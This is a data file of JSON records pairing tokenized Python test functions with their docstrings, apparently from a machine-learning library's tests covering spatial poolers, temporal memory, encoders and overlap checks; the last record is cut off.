{"signature": "def _remove(fname):", "body": "if os.path.isfile(fname):<EOL><INDENT>os.remove(fname)<EOL><DEDENT>", "docstring": "Clean up function used to delete files created by the test\n:param fname: File to be deleted\n:return:", "id": "f17263:m2"}
{"signature": "def customAssertArrayEquals(self, a1, a2, msg=None):", "body": "numpy.testing.assert_equal(a1, a2, msg)<EOL>", "docstring": "Function used by `addTypeEqualityFunc` comparing numpy arrays", "id": "f17263:c0:m0"}
{"signature": "def customAssertSequenceEquals(self, l1, l2, msg=None):", "body": "self.assertEqual(len(l1), len(l2), msg)<EOL>for i in range(len(l1)):<EOL><INDENT>first = l1[i]<EOL>second = l2[i]<EOL>if type(first).__name__ in SERIALIZABLE_SUBCLASSES:<EOL><INDENT>first = _getAttributes(first)<EOL>second = _getAttributes(second)<EOL><DEDENT>self.assertEqual(first, second, msg)<EOL><DEDENT>", "docstring": "Function used by `addTypeEqualityFunc` comparing sequences", "id": "f17263:c0:m1"}
{"signature": "def customAssertDictEquals(self, d1, d2, msg=None):", "body": "self.assertIsInstance(d1, dict, '<STR_LIT>')<EOL>self.assertIsInstance(d2, dict, '<STR_LIT>')<EOL>self.assertEqual(len(d1), len(d2), msg + str(d1) + '<STR_LIT>' + str(d2))<EOL>for k, _ in list(d1.items()):<EOL><INDENT>if k not in d2:<EOL><INDENT>raise AssertionError(repr(k))<EOL><DEDENT>first = d1[k]<EOL>second = d2[k]<EOL>if type(first).__name__ in SERIALIZABLE_SUBCLASSES:<EOL><INDENT>first = _getAttributes(first)<EOL>second = _getAttributes(second)<EOL><DEDENT>self.assertEqual(first, second, '<STR_LIT>' % (k, msg))<EOL><DEDENT>", "docstring": "Function used by `addTypeEqualityFunc` comparing dicts", "id": "f17263:c0:m2"}
{"signature": "def overlapsForRelativeAreas(n, w, initPosition, initRadius, dPosition=None,<EOL>dRadius=<NUM_LIT:0>, num=<NUM_LIT:100>, verbose=False):", "body": "encoder = CoordinateEncoder(name=\"<STR_LIT>\", n=n, w=w)<EOL>overlaps = np.empty(num)<EOL>outputA = encode(encoder, np.array(initPosition), initRadius)<EOL>for i in range(num):<EOL><INDENT>newPosition = initPosition if dPosition is None else (<EOL>initPosition + (i + <NUM_LIT:1>) * dPosition)<EOL>newRadius = initRadius + (i + <NUM_LIT:1>) * dRadius<EOL>outputB = encode(encoder, newPosition, newRadius)<EOL>overlaps[i] = overlap(outputA, outputB)<EOL><DEDENT>if verbose:<EOL><INDENT>print()<EOL>print((\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\").format(<EOL>n, w, initPosition, initRadius, dPosition, dRadius))<EOL>print(\"<STR_LIT>\".format(np.average(overlaps)))<EOL>print(\"<STR_LIT>\".format(np.max(overlaps)))<EOL><DEDENT>return overlaps<EOL>", "docstring": "Return overlaps between an encoding and other encodings relative to it\n\n:param n: the size of the encoder output\n:param w: the number of active bits in the encoder output\n:param initPosition: the position of the first encoding\n:param initRadius: the radius of the first encoding\n:param dPosition: the offset to apply to each subsequent position\n:param dRadius: the offset to apply to each subsequent radius\n:param num: the number of encodings to generate\n:param verbose: whether to print verbose output", "id": "f17266:m2"}
{"signature": "def overlapsForUnrelatedAreas(n, w, radius, repetitions=<NUM_LIT:100>, verbose=False):", "body": "return overlapsForRelativeAreas(n, w, np.array([<NUM_LIT:0>, <NUM_LIT:0>]), radius,<EOL>dPosition=np.array([<NUM_LIT:0>, radius * <NUM_LIT:10>]),<EOL>num=repetitions, verbose=verbose)<EOL>", "docstring": "Return overlaps between an encoding and other, unrelated encodings", "id": "f17266:m3"}
{"signature": "def computeOverlap(x, y):", "body": "return (x & y).sum()<EOL>", "docstring": "Given two binary arrays, compute their overlap. The overlap is the number\nof bits where x[i] and y[i] are both 1", "id": "f17269:m0"}
{"signature": "def validateEncoder(encoder, subsampling):", "body": "for i in range(encoder.minIndex, encoder.maxIndex+<NUM_LIT:1>, <NUM_LIT:1>):<EOL><INDENT>for j in range(i+<NUM_LIT:1>, encoder.maxIndex+<NUM_LIT:1>, subsampling):<EOL><INDENT>if not encoder._overlapOK(i, j):<EOL><INDENT>return False<EOL><DEDENT><DEDENT><DEDENT>return True<EOL>", "docstring": "Given an encoder, calculate overlaps statistics and ensure everything is ok.\nWe don't check every possible combination for speed reasons.", "id": "f17269:m1"}
{"signature": "def _printOneTrainingVector(x):", "body": "print('<STR_LIT>'.join('<STR_LIT:1>' if k != <NUM_LIT:0> else '<STR_LIT:.>' for k in x))<EOL>", "docstring": "Print a single vector succinctly.", "id": "f17280:m0"}
{"signature": "def _getSimplePatterns(numOnes, numPatterns):", "body": "numCols = numOnes * numPatterns<EOL>p = []<EOL>for i in range(numPatterns):<EOL><INDENT>x = np.zeros(numCols, dtype='<STR_LIT>')<EOL>x[i*numOnes:(i + <NUM_LIT:1>)*numOnes] = <NUM_LIT:1><EOL>p.append(x)<EOL><DEDENT>return p<EOL>", "docstring": "Very simple patterns. Each pattern has numOnes consecutive\n    bits on. There are numPatterns*numOnes bits in the vector. These patterns\n    are used as elements of sequences when building up a training set.", "id": "f17280:m1"}
{"signature": "def _createTms(numCols):", "body": "<EOL>minThreshold = <NUM_LIT:4><EOL>activationThreshold = <NUM_LIT:5><EOL>newSynapseCount = <NUM_LIT:7><EOL>initialPerm = <NUM_LIT><EOL>connectedPerm = <NUM_LIT:0.5><EOL>permanenceInc = <NUM_LIT:0.1><EOL>permanenceDec = <NUM_LIT><EOL>globalDecay = <NUM_LIT:0><EOL>cellsPerColumn = <NUM_LIT:1><EOL>cppTm = BacktrackingTMCPP(numberOfCols=numCols,<EOL>cellsPerColumn=cellsPerColumn,<EOL>initialPerm=initialPerm,<EOL>connectedPerm=connectedPerm,<EOL>minThreshold=minThreshold,<EOL>newSynapseCount=newSynapseCount,<EOL>permanenceInc=permanenceInc,<EOL>permanenceDec=permanenceDec,<EOL>activationThreshold=activationThreshold,<EOL>globalDecay=globalDecay, burnIn=<NUM_LIT:1>,<EOL>seed=_SEED, verbosity=VERBOSITY,<EOL>checkSynapseConsistency=True,<EOL>pamLength=<NUM_LIT:1000>)<EOL>cppTm.retrieveLearningStates = True<EOL>pyTm = BacktrackingTM(numberOfCols=numCols,<EOL>cellsPerColumn=cellsPerColumn,<EOL>initialPerm=initialPerm,<EOL>connectedPerm=connectedPerm,<EOL>minThreshold=minThreshold,<EOL>newSynapseCount=newSynapseCount,<EOL>permanenceInc=permanenceInc,<EOL>permanenceDec=permanenceDec,<EOL>activationThreshold=activationThreshold,<EOL>globalDecay=globalDecay, burnIn=<NUM_LIT:1>,<EOL>seed=_SEED, verbosity=VERBOSITY,<EOL>pamLength=<NUM_LIT:1000>)<EOL>return cppTm, pyTm<EOL>", "docstring": "Create two instances of temporal poolers (backtracking_tm.py\n    and backtracking_tm_cpp.py) with identical parameter settings.", "id": "f17280:m2"}
{"signature": "def _basicTest(self, tm=None):", "body": "trainingSet = _getSimplePatterns(<NUM_LIT:10>, <NUM_LIT:10>)<EOL>for _ in range(<NUM_LIT:2>):<EOL><INDENT>for seq in trainingSet[<NUM_LIT:0>:<NUM_LIT:5>]:<EOL><INDENT>for _ in range(<NUM_LIT:10>):<EOL><INDENT>tm.learn(seq)<EOL><DEDENT>tm.reset()<EOL><DEDENT><DEDENT>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>tm.collectStats = True<EOL>for seq in trainingSet[<NUM_LIT:0>:<NUM_LIT:5>]:<EOL><INDENT>tm.reset()<EOL>tm.resetStats()<EOL>for _ in range(<NUM_LIT:10>):<EOL><INDENT>tm.infer(seq)<EOL>if VERBOSITY > <NUM_LIT:1> :<EOL><INDENT>print()<EOL>_printOneTrainingVector(seq)<EOL>tm.printStates(False, False)<EOL>print()<EOL>print()<EOL><DEDENT><DEDENT>if VERBOSITY > <NUM_LIT:1>:<EOL><INDENT>print(tm.getStats())<EOL><DEDENT>self.assertGreater(tm.getStats()['<STR_LIT>'], <NUM_LIT>)<EOL>print((\"<STR_LIT>\",<EOL>tm.getStats()['<STR_LIT>']))<EOL><DEDENT>print(\"<STR_LIT>\")<EOL>", "docstring": "Test creation, pickling, and basic run of learning and inference.", "id": "f17280:c0:m1"}
{"signature": "def _getDateList(numSamples, startDatetime):", "body": "dateList = []<EOL>td = datetime.timedelta(minutes=<NUM_LIT:1>)<EOL>curDate = startDatetime + td<EOL>for _ in range(numSamples):<EOL><INDENT>dateList.append(curDate)<EOL>curDate = curDate + td<EOL><DEDENT>return dateList<EOL>", "docstring": "Generate a sequence of sample dates starting at startDatetime and incrementing\nevery minute.", "id": "f17282:m0"}
{"signature": "@staticmethod<EOL><INDENT>def _addSampleData(origData=None, numSamples=<NUM_LIT>, spikeValue=<NUM_LIT:1.0>,<EOL>spikePeriod=<NUM_LIT:20>):<DEDENT>", "body": "if origData is None:<EOL><INDENT>origData = []<EOL><DEDENT>if len(origData) > <NUM_LIT:0>:<EOL><INDENT>lastDate = origData[-<NUM_LIT:1>][<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>lastDate = datetime.datetime(<NUM_LIT>, <NUM_LIT:2>, <NUM_LIT:3>)<EOL><DEDENT>dateList = _getDateList(numSamples, lastDate)<EOL>data = copy.copy(origData)<EOL>for idx, date in enumerate(dateList):<EOL><INDENT>if (spikePeriod > <NUM_LIT:0>) and ( (idx + <NUM_LIT:1>) % spikePeriod == <NUM_LIT:0>):<EOL><INDENT>data.append([date, idx, spikeValue])<EOL><DEDENT>else:<EOL><INDENT>data.append([date, idx, <NUM_LIT:0.0>])<EOL><DEDENT><DEDENT>return data<EOL>", "docstring": "Add sample anomaly data to the existing data list and return it.\nNote: this does not modify the original data list\nNote 2: here we just add in increasing integers as the metric value", "id": "f17282:c0:m1"}
{"signature": "def runSideBySide(self, params, seed = None,<EOL>learnMode = None,<EOL>convertEveryIteration = False):", "body": "randomState = getNumpyRandomGenerator(seed)<EOL>cppSp = CreateSP(\"<STR_LIT>\", params)<EOL>pySp = CreateSP(\"<STR_LIT>\", params)<EOL>self.compare(pySp, cppSp)<EOL>numColumns = pySp.getNumColumns()<EOL>numInputs = pySp.getNumInputs()<EOL>threshold = <NUM_LIT><EOL>inputMatrix = (<EOL>randomState.rand(numRecords,numInputs) > threshold).astype(uintType)<EOL>for i in range(numRecords):<EOL><INDENT>if learnMode is None:<EOL><INDENT>learn = (randomState.rand() > <NUM_LIT:0.5>)<EOL><DEDENT>else:<EOL><INDENT>learn = learnMode<EOL><DEDENT>if self.verbosity > <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\",i,\"<STR_LIT>\",learn)<EOL><DEDENT>PyActiveArray = numpy.zeros(numColumns).astype(uintType)<EOL>CppActiveArray = numpy.zeros(numColumns).astype(uintType)<EOL>inputVector = inputMatrix[i,:]<EOL>pySp.compute(inputVector, learn, PyActiveArray)<EOL>cppSp.compute(inputVector, learn, CppActiveArray)<EOL>self.assertListEqual(list(PyActiveArray), list(CppActiveArray))<EOL>self.compare(pySp,cppSp)<EOL>cppBoostFactors = numpy.zeros(numColumns, dtype=realType)<EOL>cppSp.getBoostFactors(cppBoostFactors)<EOL>pySp.setBoostFactors(cppBoostFactors)<EOL>if convertEveryIteration or ((i+<NUM_LIT:1>)%<NUM_LIT:10> == <NUM_LIT:0>):<EOL><INDENT>convertPermanences(pySp, cppSp)<EOL><DEDENT><DEDENT>", "docstring": "Run the PY and CPP implementations side by side on random inputs.\nIf seed is None a random seed will be chosen based on time, otherwise\nthe fixed seed will be used.\n\nIf learnMode is None learning will be randomly turned on and off.\nIf it is False or True then set it accordingly.\n\nIf convertEveryIteration is True, the CPP will be copied from the PY\ninstance on every iteration just before each compute.", "id": "f17283:c0:m3"}
{"signature": "def frequency(self,<EOL>n=<NUM_LIT:15>,<EOL>w=<NUM_LIT:7>,<EOL>columnDimensions = <NUM_LIT>,<EOL>numActiveColumnsPerInhArea = <NUM_LIT>,<EOL>stimulusThreshold = <NUM_LIT:0>,<EOL>spSeed = <NUM_LIT:1>,<EOL>spVerbosity = <NUM_LIT:0>,<EOL>numColors = <NUM_LIT:2>,<EOL>seed=<NUM_LIT>,<EOL>minVal=<NUM_LIT:0>,<EOL>maxVal=<NUM_LIT:10>,<EOL>encoder = '<STR_LIT>',<EOL>forced=True):", "body": "print(\"<STR_LIT>\")<EOL>print(encoder, '<STR_LIT>', '<STR_LIT>', seed, '<STR_LIT>', numColors, '<STR_LIT>')<EOL>spImpl = SpatialPooler(<EOL>columnDimensions=(columnDimensions, <NUM_LIT:1>),<EOL>inputDimensions=(<NUM_LIT:1>, n),<EOL>potentialRadius=n/<NUM_LIT:2>,<EOL>numActiveColumnsPerInhArea=numActiveColumnsPerInhArea,<EOL>spVerbosity=spVerbosity,<EOL>stimulusThreshold=stimulusThreshold,<EOL>potentialPct=<NUM_LIT:0.5>,<EOL>seed=spSeed,<EOL>globalInhibition=True,<EOL>)<EOL>rnd.seed(seed)<EOL>numpy.random.seed(seed)<EOL>colors = []<EOL>coincs = []<EOL>reUsedCoincs = []<EOL>spOutput = []<EOL>patterns = set([])<EOL>if encoder=='<STR_LIT>':<EOL><INDENT>enc = scalar.ScalarEncoder(name='<STR_LIT>', w=w, n=n, minval=minVal,<EOL>maxval=maxVal, periodic=False, forced=True) <EOL>for y in range(numColors):<EOL><INDENT>temp = enc.encode(rnd.random()*maxVal)<EOL>colors.append(numpy.array(temp, dtype=numpy.uint32))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for y in range(numColors):<EOL><INDENT>sdr = numpy.zeros(n, dtype=numpy.uint32)<EOL>sdr[rnd.sample(range(n), w)] = <NUM_LIT:1><EOL>colors.append(sdr)<EOL><DEDENT><DEDENT>print('<STR_LIT>', numColors, '<STR_LIT>')<EOL>startTime = time.time()<EOL>for i in range(numColors):<EOL><INDENT>spInput = colors[i]<EOL>onCells = numpy.zeros(columnDimensions, dtype=numpy.uint32)<EOL>spImpl.compute(spInput, True, onCells)<EOL>spOutput.append(onCells.tolist())<EOL>activeCoincIndices = set(onCells.nonzero()[<NUM_LIT:0>])<EOL>reUsed = activeCoincIndices.intersection(patterns)<EOL>if len(reUsed) == <NUM_LIT:0>:<EOL><INDENT>coincs.append((i, activeCoincIndices, colors[i]))<EOL><DEDENT>else:<EOL><INDENT>reUsedCoincs.append((i, activeCoincIndices, colors[i]))<EOL><DEDENT>patterns.update(activeCoincIndices)<EOL>if (i + <NUM_LIT:1>) % <NUM_LIT:100> == <NUM_LIT:0>:<EOL><INDENT>print('<STR_LIT>', i + <NUM_LIT:1>)<EOL>print(\"<STR_LIT>\" % (time.time() - startTime))<EOL>print(len(reUsedCoincs), \"<STR_LIT>\")<EOL><DEDENT><DEDENT>summ = []<EOL>for z in coincs:<EOL><INDENT>summ.append(sum([len(z[<NUM_LIT:1>].intersection(y[<NUM_LIT:1>])) for y in reUsedCoincs]))<EOL><DEDENT>zeros = len([x for x in summ if x==<NUM_LIT:0>])<EOL>factor = max(summ)*len(summ)/sum(summ)<EOL>if len(reUsed) < <NUM_LIT:10>:<EOL><INDENT>self.assertLess(factor, <NUM_LIT>,<EOL>\"<STR_LIT>\" % (<EOL>factor, <NUM_LIT>))<EOL>self.assertLess(zeros, <NUM_LIT>*len(summ),<EOL>\"<STR_LIT>\" % (<EOL>zeros, <NUM_LIT>*len(summ)))<EOL><DEDENT>else:<EOL><INDENT>self.assertLess(factor, <NUM_LIT:8>,<EOL>\"<STR_LIT>\" % (<EOL>factor, <NUM_LIT:8>))<EOL>self.assertLess(zeros, <NUM_LIT:12>,<EOL>\"<STR_LIT>\" % (<EOL>zeros, <NUM_LIT:12>))<EOL><DEDENT>", "docstring": "Helper function that tests whether the SP predicts the most\n        frequent record", "id": "f17285:c0:m4"}
{"signature": "def basicComputeLoop(self, imp, params, inputSize, columnDimensions,<EOL>seed = None):", "body": "sp = CreateSP(imp,params)<EOL>numRecords = <NUM_LIT:100><EOL>randomState = getNumpyRandomGenerator(seed)<EOL>inputMatrix = (<EOL>randomState.rand(numRecords,inputSize) > <NUM_LIT>).astype(uintType)<EOL>y = numpy.zeros(columnDimensions, dtype = uintType)<EOL>dutyCycles = numpy.zeros(columnDimensions, dtype = uintType)<EOL>for v in inputMatrix:<EOL><INDENT>y.fill(<NUM_LIT:0>)<EOL>sp.compute(v, True, y)<EOL>self.assertEqual(sp.getNumActiveColumnsPerInhArea(),y.sum())<EOL>self.assertEqual(<NUM_LIT:0>,y.min())<EOL>self.assertEqual(<NUM_LIT:1>,y.max())<EOL><DEDENT>for v in inputMatrix:<EOL><INDENT>y.fill(<NUM_LIT:0>)<EOL>sp.compute(v, False, y)<EOL>self.assertEqual(sp.getNumActiveColumnsPerInhArea(),y.sum())<EOL>self.assertEqual(<NUM_LIT:0>,y.min())<EOL>self.assertEqual(<NUM_LIT:1>,y.max())<EOL><DEDENT>", "docstring": "Feed in some vectors and retrieve outputs. Ensure the right number of\ncolumns win, that we always get binary outputs, and that nothing crashes.", "id": "f17286:c0:m0"}
{"signature": "def assertTMsEqual(self, tm1, tm2):", "body": "self.assertEqual(tm1, tm2, tm1.diff(tm2))<EOL>self.assertTrue(fdrutilities.tmDiff2(tm1, tm2, <NUM_LIT:1>, False))<EOL>", "docstring": "Asserts that two TM instances are the same.\n\n        This is temporarily disabled since it does not work with the C++\n        implementation of the TM.", "id": "f17287:c0:m9"}
{"signature": "@staticmethod<EOL><INDENT>def generateSequence(n=<NUM_LIT:10>, numCols=<NUM_LIT:100>, minOnes=<NUM_LIT>, maxOnes=<NUM_LIT>):<DEDENT>", "body": "return [None] + [BacktrackingTMTest.generatePattern(numCols, minOnes,<EOL>maxOnes)<EOL>for _ in range(n)]<EOL>", "docstring": "Generates a sequence of n patterns.", "id": "f17287:c0:m10"}
{"signature": "@staticmethod<EOL><INDENT>def generatePattern(numCols=<NUM_LIT:100>, minOnes=<NUM_LIT>, maxOnes=<NUM_LIT>):<DEDENT>", "body": "assert minOnes < maxOnes<EOL>assert maxOnes < numCols<EOL>nOnes = random.randint(minOnes, maxOnes)<EOL>ind = random.sample(range(numCols), nOnes)<EOL>x = numpy.zeros(numCols, dtype='<STR_LIT>')<EOL>x[ind] = <NUM_LIT:1><EOL>return x<EOL>", "docstring": "Generate a single test pattern with given parameters.\n\n        Parameters:\n          numCols: Number of columns in each pattern.\n          minOnes: The minimum number of 1's in each pattern.\n          maxOnes: The maximum number of 1's in each pattern.", "id": "f17287:c0:m11"}
{"signature": "def _computeOverlap(x, y):", "body": "return ((x + y) == <NUM_LIT:2>).sum()<EOL>", "docstring": "Given two binary arrays, compute their overlap. The overlap is the number\nof bits where x[i] and y[i] are both 1", "id": "f17289:m0"}
{"signature": "def _areAllSDRsUnique(sdrDict):", "body": "for k1, v1 in sdrDict.items():<EOL><INDENT>for k2, v2 in sdrDict.items():<EOL><INDENT>if (k2 != k1) and ((v1 == v2).sum() == v1.size):<EOL><INDENT>return False<EOL><DEDENT><DEDENT><DEDENT>return True<EOL>", "docstring": "Return True iff all the SDR's in the dict are unique.", "id": "f17289:m1"}
{"signature": "def setUp(self):", "body": "self.inputSize = <NUM_LIT><EOL>self.columnDimensions = <NUM_LIT><EOL>self.x = numpy.zeros((<NUM_LIT:5>, self.inputSize), dtype=uintType)<EOL>self.x[<NUM_LIT:0>, <NUM_LIT:0>:<NUM_LIT:20>]  = <NUM_LIT:1>   <EOL>self.x[<NUM_LIT:1>, <NUM_LIT:10>:<NUM_LIT:30>] = <NUM_LIT:1>   <EOL>self.x[<NUM_LIT:2>, <NUM_LIT:30>:<NUM_LIT:50>] = <NUM_LIT:1>   <EOL>self.x[<NUM_LIT:3>, <NUM_LIT:50>:<NUM_LIT>] = <NUM_LIT:1>   <EOL>self.x[<NUM_LIT:4>, <NUM_LIT>:<NUM_LIT>] = <NUM_LIT:1>   <EOL>self.winningIteration = numpy.zeros(self.columnDimensions)<EOL>self.lastSDR = {}<EOL>self.spImplementation = \"<STR_LIT:None>\"<EOL>self.sp = None<EOL>self.params = {<EOL>'<STR_LIT>':            [self.inputSize],<EOL>'<STR_LIT>':           [self.columnDimensions],<EOL>'<STR_LIT>':            self.inputSize,<EOL>'<STR_LIT>':               <NUM_LIT>,<EOL>'<STR_LIT>':           True,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>':           <NUM_LIT:0.0>,<EOL>'<STR_LIT>':         <NUM_LIT:0.0>,<EOL>'<STR_LIT>':            <NUM_LIT:10>,<EOL>'<STR_LIT>':              <NUM_LIT>,<EOL>'<STR_LIT>':                       SEED,<EOL>}<EOL>print(\"<STR_LIT>\", self.params['<STR_LIT>'])<EOL>", "docstring": "Set various constants. Create the input patterns and the spatial pooler", "id": "f17289:c0:m0"}
{"signature": "def debugPrint(self):", "body": "activeDutyCycle = numpy.zeros(self.columnDimensions, dtype=GetNTAReal())<EOL>self.sp.getActiveDutyCycles(activeDutyCycle)<EOL>boost = numpy.zeros(self.columnDimensions, dtype=GetNTAReal())<EOL>self.sp.getBoostFactors(boost)<EOL>print(\"<STR_LIT>\", (<EOL>self.sp.getIterationNum() ),\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\", self.spImplementation)<EOL>print(\"<STR_LIT>\", end='<STR_LIT:U+0020>')<EOL>print(\"<STR_LIT>\", (<EOL>activeDutyCycle.max(), activeDutyCycle.min() ))<EOL>print(\"<STR_LIT>\", (<EOL>activeDutyCycle[activeDutyCycle><NUM_LIT:0>].mean() ))<EOL>print(\"<STR_LIT>\", activeDutyCycle)<EOL>print()<EOL>print(\"<STR_LIT>\", boost)<EOL>print()<EOL>print(\"<STR_LIT>\")<EOL>print(self.winningIteration)<EOL>print(\"<STR_LIT>\", (<EOL>self.columnDimensions - (self.winningIteration==<NUM_LIT:0>).sum() ))<EOL>", "docstring": "Helpful debug print statements while debugging this test.", "id": "f17289:c0:m1"}
{"signature": "def verifySDRProperties(self):", "body": "<EOL>self.assertTrue(_areAllSDRsUnique(self.lastSDR), \"<STR_LIT>\")<EOL>self.assertGreater(_computeOverlap(self.lastSDR[<NUM_LIT:0>], self.lastSDR[<NUM_LIT:1>]), <NUM_LIT:9>,<EOL>\"<STR_LIT>\")<EOL>for i in [<NUM_LIT:2>, <NUM_LIT:3>, <NUM_LIT:4>]:<EOL><INDENT>for j in range(<NUM_LIT:5>):<EOL><INDENT>if (i!=j):<EOL><INDENT>self.assertLess(_computeOverlap(self.lastSDR[i], self.lastSDR[j]),<EOL><NUM_LIT>, \"<STR_LIT>\")<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Verify that all SDRs have the properties desired for this test.\n\nThe bounds for checking overlap are set fairly loosely here since there is\nsome variance due to randomness and the artificial parameters used in this\ntest.", "id": "f17289:c0:m2"}
{"signature": "def boostTestLoop(self, imp):", "body": "self.sp = CreateSP(imp, self.params)<EOL>self.spImplementation = imp<EOL>self.winningIteration.fill(<NUM_LIT:0>)<EOL>self.lastSDR = {}<EOL>self.boostTestPhase1()<EOL>self.boostTestPhase2()<EOL>self.boostTestPhase3()<EOL>self.boostTestPhase4()<EOL>", "docstring": "Main test loop.", "id": "f17289:c0:m7"}
{"signature": "def _sampleDistribution(params, numSamples, verbosity=<NUM_LIT:0>):", "body": "if \"<STR_LIT:name>\" in params:<EOL><INDENT>if params[\"<STR_LIT:name>\"] == \"<STR_LIT>\":<EOL><INDENT>samples = numpy.random.normal(loc=params[\"<STR_LIT>\"],<EOL>scale=math.sqrt(params[\"<STR_LIT>\"]),<EOL>size=numSamples)<EOL><DEDENT>elif params[\"<STR_LIT:name>\"] == \"<STR_LIT>\":<EOL><INDENT>samples = numpy.random.pareto(params[\"<STR_LIT>\"], size=numSamples)<EOL><DEDENT>elif params[\"<STR_LIT:name>\"] == \"<STR_LIT>\":<EOL><INDENT>samples = numpy.random.beta(a=params[\"<STR_LIT>\"], b=params[\"<STR_LIT>\"],<EOL>size=numSamples)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" + params[\"<STR_LIT:name>\"])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" + str(params))<EOL><DEDENT>if verbosity > <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\", params)<EOL>print(\"<STR_LIT>\", numpy.mean(samples),\"<STR_LIT>\", numpy.var(samples), \"<STR_LIT>\", math.sqrt(numpy.var(samples)))<EOL><DEDENT>return samples<EOL>", "docstring": "Given the parameters of a distribution, generate numSamples points from it.\nThis routine is mostly for testing.\n\n:returns: A numpy array of samples.", "id": "f17291:m0"}
{"signature": "def _generateSampleData(mean=<NUM_LIT>, variance=<NUM_LIT>, metricMean=<NUM_LIT>,<EOL>metricVariance=<NUM_LIT>):", "body": "data = []<EOL>p = {\"<STR_LIT>\": mean,<EOL>\"<STR_LIT:name>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": math.sqrt(variance),<EOL>\"<STR_LIT>\": variance}<EOL>samples = _sampleDistribution(p, <NUM_LIT>)<EOL>p = {\"<STR_LIT>\": metricMean,<EOL>\"<STR_LIT:name>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": math.sqrt(metricVariance),<EOL>\"<STR_LIT>\": metricVariance}<EOL>metricValues = _sampleDistribution(p, <NUM_LIT>)<EOL>for hour in range(<NUM_LIT:0>, <NUM_LIT>):<EOL><INDENT>for minute in range(<NUM_LIT:0>, <NUM_LIT>):<EOL><INDENT>data.append(<EOL>[<EOL>datetime.datetime(<NUM_LIT>, <NUM_LIT:2>, <NUM_LIT:2>, hour, minute, <NUM_LIT:0>),<EOL>metricValues[hour * <NUM_LIT> + minute],<EOL>samples[hour * <NUM_LIT> + minute],<EOL>]<EOL>)<EOL><DEDENT><DEDENT>return data<EOL>", "docstring": "Generate 1440 samples of fake metrics data with a particular distribution\nof anomaly scores and metric values. Here we generate values every minute.", "id": "f17291:m1"}
{"signature": "def checkCell0(tm):", "body": "for c in range(tm.numberOfCols):<EOL><INDENT>assert tm.getNumSegmentsInCell(c, <NUM_LIT:0>) == <NUM_LIT:0><EOL><DEDENT>", "docstring": "Check that cell 0 has no incoming segments", "id": "f17295:m0"}
{"signature": "def setVerbosity(verbosity, tm, tmPy):", "body": "tm.cells4.setVerbosity(verbosity)<EOL>tm.verbosity = verbosity<EOL>tmPy.verbosity = verbosity<EOL>", "docstring": "Set verbosity levels of the TM's", "id": "f17295:m1"}
{"signature": "def basicTest(self):", "body": "<EOL>tm = BacktrackingTMCPP(numberOfCols=<NUM_LIT:10>, cellsPerColumn=<NUM_LIT:3>,<EOL>initialPerm=<NUM_LIT>, connectedPerm= <NUM_LIT>,<EOL>minThreshold=<NUM_LIT:2>, newSynapseCount=<NUM_LIT:5>,<EOL>permanenceInc=<NUM_LIT>, permanenceDec= <NUM_LIT>,<EOL>permanenceMax=<NUM_LIT:1>, globalDecay=<NUM_LIT>,<EOL>activationThreshold=<NUM_LIT:4>, doPooling=False,<EOL>segUpdateValidDuration=<NUM_LIT:5>, seed=SEED,<EOL>verbosity=VERBOSITY)<EOL>tm.retrieveLearningStates = True<EOL>tm.makeCells4Ephemeral = False<EOL>pickle.dump(tm, open(\"<STR_LIT>\", \"<STR_LIT:wb>\"))<EOL>tm2 = pickle.load(open(\"<STR_LIT>\"))<EOL>self.assertTrue(fdrutils.tmDiff2(tm, tm2, VERBOSITY, checkStates=False))<EOL>for i in range(<NUM_LIT:5>):<EOL><INDENT>x = numpy.zeros(tm.numberOfCols, dtype='<STR_LIT>')<EOL>_RGEN.initializeUInt32Array(x, <NUM_LIT:2>)<EOL>tm.learn(x)<EOL><DEDENT>tm.reset()<EOL>tm.makeCells4Ephemeral = False<EOL>pickle.dump(tm, open(\"<STR_LIT>\", \"<STR_LIT:wb>\"))<EOL>tm2 = pickle.load(open(\"<STR_LIT>\"))<EOL>self.assertTrue(fdrutils.tmDiff2(tm, tm2, VERBOSITY))<EOL>patterns = numpy.zeros((<NUM_LIT:4>, tm.numberOfCols), dtype='<STR_LIT>')<EOL>for i in range(<NUM_LIT:4>):<EOL><INDENT>_RGEN.initializeUInt32Array(patterns[i], <NUM_LIT:2>)<EOL><DEDENT>for i in range(<NUM_LIT:10>):<EOL><INDENT>x = numpy.zeros(tm.numberOfCols, dtype='<STR_LIT>')<EOL>_RGEN.initializeUInt32Array(x, <NUM_LIT:2>)<EOL>tm.infer(x)<EOL>if i > <NUM_LIT:0>:<EOL><INDENT>tm._checkPrediction(patterns)<EOL><DEDENT><DEDENT>", "docstring": "Basic test (creation, pickling, basic run of learning and inference)", "id": "f17295:c0:m0"}
{"signature": "def _createNetwork():", "body": "network = Network()<EOL>network.addRegion('<STR_LIT>', '<STR_LIT>', '<STR_LIT:{}>')<EOL>network.addRegion('<STR_LIT>', '<STR_LIT>', '<STR_LIT:{}>')<EOL>_createSensorToClassifierLinks(network, '<STR_LIT>', '<STR_LIT>')<EOL>sensorRegion = network.regions['<STR_LIT>'].getSelf()<EOL>encoderParams = {'<STR_LIT>': {'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': <NUM_LIT:1>,<EOL>'<STR_LIT:name>': '<STR_LIT>',<EOL>'<STR_LIT:type>': '<STR_LIT>'}}<EOL>encoder = MultiEncoder()<EOL>encoder.addMultipleEncoders(encoderParams)<EOL>sensorRegion.encoder = encoder<EOL>testDir = os.path.dirname(os.path.abspath(__file__))<EOL>inputFile = os.path.join(testDir, '<STR_LIT>', '<STR_LIT>')<EOL>dataSource = FileRecordStream(streamID=inputFile)<EOL>sensorRegion.dataSource = dataSource<EOL>network.regions['<STR_LIT>'].setParameter('<STR_LIT>', '<STR_LIT>')<EOL>return network<EOL>", "docstring": "Create a network with a 